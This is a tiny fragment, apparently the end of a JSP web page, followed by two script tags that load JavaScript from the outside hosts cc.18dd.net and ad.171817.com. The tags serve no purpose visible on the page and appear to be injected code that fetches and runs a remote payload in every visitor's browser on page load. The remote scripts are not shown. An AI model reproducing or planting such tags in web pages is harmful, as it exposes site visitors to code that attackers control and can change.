<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>